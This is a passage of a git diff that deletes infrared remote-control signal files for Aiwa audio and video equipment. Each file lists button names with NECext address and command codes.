KEY_PAUSE -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 44 00 00 00 -# -name: s_6 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 47 00 00 00 -# -name: s_4 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 49 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 4D 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 4E 00 00 00 -# -name: s_5 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 50 00 00 00 -# -name: ddp1 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 51 00 00 00 -# -name: ddp2 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 52 00 00 00 -# -name: ddp3 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 53 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_AIWA/118,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_AIWA/118,0.ir deleted file mode 100644 index 2eda2b305..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_AIWA/118,0.ir +++ /dev/null @@ -1,128 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 76 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 76 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 76 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 76 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 76 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 76 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 76 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 76 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 76 00 00 00 -command: 09 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 76 00 00 00 -command: 0A 00 00 00 -# -name: KEY_10CHANNELSUP -type: parsed -protocol: NECext -address: 76 00 00 00 -command: 0B 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 76 00 00 00 -command: 0C 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 76 00 00 00 -command: 0D 00 00 00 -# -name: cont -type: parsed -protocol: NECext -address: 76 00 00 00 -command: 0F 00 00 00 -# -name: random -type: parsed -protocol: NECext -address: 76 00 00 00 -command: 13 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 76 00 00 00 -command: 15 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 76 00 00 00 -command: 18 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 76 00 00 00 -command: 19 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 76 00 00 00 -command: 1A 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 76 00 00 00 -command: 1B 00 00 00 -# -name: display -type: parsed -protocol: NECext -address: 76 00 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_AIWA/127,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_AIWA/127,0.ir deleted file mode 100644 index 85d114d11..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_AIWA/127,0.ir +++ /dev/null @@ -1,224 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 09 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 0A 00 00 00 -# -name: CH -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 0C 00 00 00 -# -name: INPUT -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 0E 00 00 00 -# -name: COUNTDISPLAY -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 10 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 11 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 12 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 14 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 15 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 17 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 1A 00 00 00 -# -name: T-REC -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 1E 00 00 00 -# -name: KEY_CANCEL -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 1F 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 40 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 41 00 00 00 -# -name: TRACK+ -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 46 00 00 00 -# -name: TRACK- -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 47 00 00 00 -# -name: RESET -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 4C 00 00 00 -# -name: INDEXSRCH -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 4D 00 00 00 -# -name: MEMORY -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 51 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 56 00 00 00 -# -name: A-TR -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 5C 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 81 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 83 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 84 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 89 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 8D 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 8E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_AIWA/72,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_AIWA/72,0.ir deleted file mode 100644 index 7c16bccda..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_AIWA/72,0.ir +++ /dev/null @@ -1,98 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_RADIO -type: parsed -protocol: NECext -address: 48 00 00 00 -command: 00 00 00 00 -# -name: am -type: parsed -protocol: NECext -address: 48 00 00 00 -command: 01 00 00 00 -# -name: t_up -type: parsed -protocol: NECext -address: 48 00 00 00 -command: 03 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 48 00 00 00 -command: 04 00 00 00 -# -name: t_down -type: parsed -protocol: NECext -address: 48 00 00 00 -command: 05 00 00 00 -# -name: v_up -type: parsed -protocol: NECext -address: 48 00 00 00 -command: 07 00 00 00 -# -name: v_down -type: parsed -protocol: NECext -address: 48 00 00 00 -command: 08 00 00 00 -# -name: muting -type: parsed -protocol: NECext -address: 48 00 00 00 -command: 09 00 00 00 -# -name: cdp_program -type: parsed -protocol: NECext -address: 48 00 00 00 -command: 0A 00 00 00 -# -name: cdp_play -type: parsed -protocol: NECext -address: 48 00 00 00 -command: 0B 00 00 00 -# -name: cdp_memory -type: parsed -protocol: NECext -address: 48 00 00 00 -command: 0C 00 00 00 -# -name: cdp_stop -type: parsed -protocol: NECext -address: 48 00 00 00 -command: 0D 00 00 00 -# -name: cdp_fskip -type: parsed -protocol: NECext -address: 48 00 00 00 -command: 0E 00 00 00 -# -name: cdp_bskip -type: parsed -protocol: NECext -address: 48 00 00 00 -command: 0F 00 00 00 -# -name: phono -type: parsed -protocol: NECext -address: 48 00 00 00 -command: 11 00 00 00 -# -name: KEY_TAPE -type: parsed -protocol: NECext -address: 48 00 00 00 -command: 12 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_AWIA-RC-ZVR04/128,123.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_AWIA-RC-ZVR04/128,123.ir deleted file mode 100644 index b436e0265..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_AWIA-RC-ZVR04/128,123.ir +++ /dev/null @@ -1,254 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 09 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 0A 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 0B 00 00 00 -# -name: t-rec -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 0D 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 0E 00 00 00 -# -name: KEY_102ND -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 0F 00 00 00 -# -name: tv/vcr -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 12 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 13 00 00 00 -# -name: index -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 14 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 15 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 16 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 17 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 18 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 19 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 1A 00 00 00 -# -name: otpb -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 1B 00 00 00 -# -name: vidplus -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 1D 00 00 00 -# -name: speed -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 1E 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 1F 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 41 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 42 00 00 00 -# -name: KEY_SELECT -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 45 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 49 00 00 00 -# -name: KEY_CANCEL -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 4A 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 4B 00 00 00 -# -name: reset -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 4C 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 4D 00 00 00 -# -name: KEY_EJECTCD -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 4E 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 50 00 00 00 -# -name: counter -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 51 00 00 00 -# -name: tracking -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 52 00 00 00 -# -name: ad-skip -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 5C 00 00 00 -# -name: call -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_HIFI/112,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_HIFI/112,0.ir deleted file mode 100644 index 45bb9318d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_HIFI/112,0.ir +++ /dev/null @@ -1,152 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 09 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 0A 00 00 00 -# -name: KEY_10CHANNELSUP -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 0B 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 11 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 12 00 00 00 -# -name: BAND -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 13 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 51 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 80 00 00 00 -# -name: KEY_MODE -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 8F 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 70 00 00 00 -command: C4 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 70 00 00 00 -command: C5 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 70 00 00 00 -command: C6 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 70 00 00 00 -command: C7 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 70 00 00 00 -command: C9 00 00 00 -# -name: EQ -type: parsed -protocol: NECext -address: 70 00 00 00 -command: CA 00 00 00 -# -name: FUNCTION -type: parsed -protocol: NECext -address: 70 00 00 00 -command: DD 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-6AS07/112,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-6AS07/112,0.ir deleted file mode 100644 index accbd6570..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-6AS07/112,0.ir +++ /dev/null @@ -1,152 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 00 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 11 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 12 00 00 00 -# -name: tuner_band -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 13 00 00 00 -# -name: geq -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 1F 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 40 00 00 00 -# -name: tuner_mode -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 4E 00 00 00 -# -name: set -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 52 00 00 00 -# -name: timer -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 5A 00 00 00 -# -name: random -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 8F 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 91 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 92 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 93 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 94 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 95 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 96 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 97 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 98 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 99 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 9A 00 00 00 -# -name: KEY_10CHANNELSUP -type: parsed -protocol: NECext -address: 70 00 00 00 -command: 9B 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 70 00 00 00 -command: C4 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 70 00 00 00 -command: C5 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 70 00 00 00 -command: C6 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 70 00 00 00 -command: C7 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-7AS06/110,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-7AS06/110,0.ir deleted file mode 100644 index 4d23a3222..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-7AS06/110,0.ir +++ /dev/null @@ -1,200 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 09 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0A 00 00 00 -# -name: KEY_10CHANNELSUP -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0B 00 00 00 -# -name: TIMER -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0C 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0E 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 11 00 00 00 -# -name: MONO_TUNER -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 12 00 00 00 -# -name: RANDOM/REPEAT -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 15 00 00 00 -# -name: EDIT/CHECK -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 17 00 00 00 -# -name: PRGM -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 19 00 00 00 -# -name: BAND -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 1C 00 00 00 -# -name: FUNCTION -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 1E 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 40 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 41 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 42 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 43 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 44 00 00 00 -# -name: T-BASS -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 47 00 00 00 -# -name: GEQ -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 49 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 4D 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 4E 00 00 00 -# -name: DDP_1 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 51 00 00 00 -# -name: DDP_2 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 52 00 00 00 -# -name: DDP_3 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 53 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-8AS04/110,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-8AS04/110,0.ir deleted file mode 100644 index 3468045f2..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-8AS04/110,0.ir +++ /dev/null @@ -1,218 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 09 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0A 00 00 00 -# -name: KEY_10CHANNELSUP -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0B 00 00 00 -# -name: TIMER -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0C 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0E 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 11 00 00 00 -# -name: MONO -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 12 00 00 00 -# -name: KEY_EJECTCD -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 13 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 15 00 00 00 -# -name: KEY_EDIT -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 17 00 00 00 -# -name: PGRM -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 19 00 00 00 -# -name: KEY_TAPE -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 1B 00 00 00 -# -name: KEY_TUNER -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 1C 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 1D 00 00 00 -# -name: KEY_CD -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 1F 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 40 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 41 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 42 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 43 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 44 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 45 00 00 00 -# -name: BASS -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 47 00 00 00 -# -name: GEQ -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 49 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 4D 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 4E 00 00 00 -# -name: MANUAL -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 58 00 00 00 -# -name: DOLBY -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 6A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-8AT02/110,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-8AT02/110,0.ir deleted file mode 100644 index 425b6cc3c..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-8AT02/110,0.ir +++ /dev/null @@ -1,194 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 09 00 00 00 -# -name: KEY_0 -type: parsed 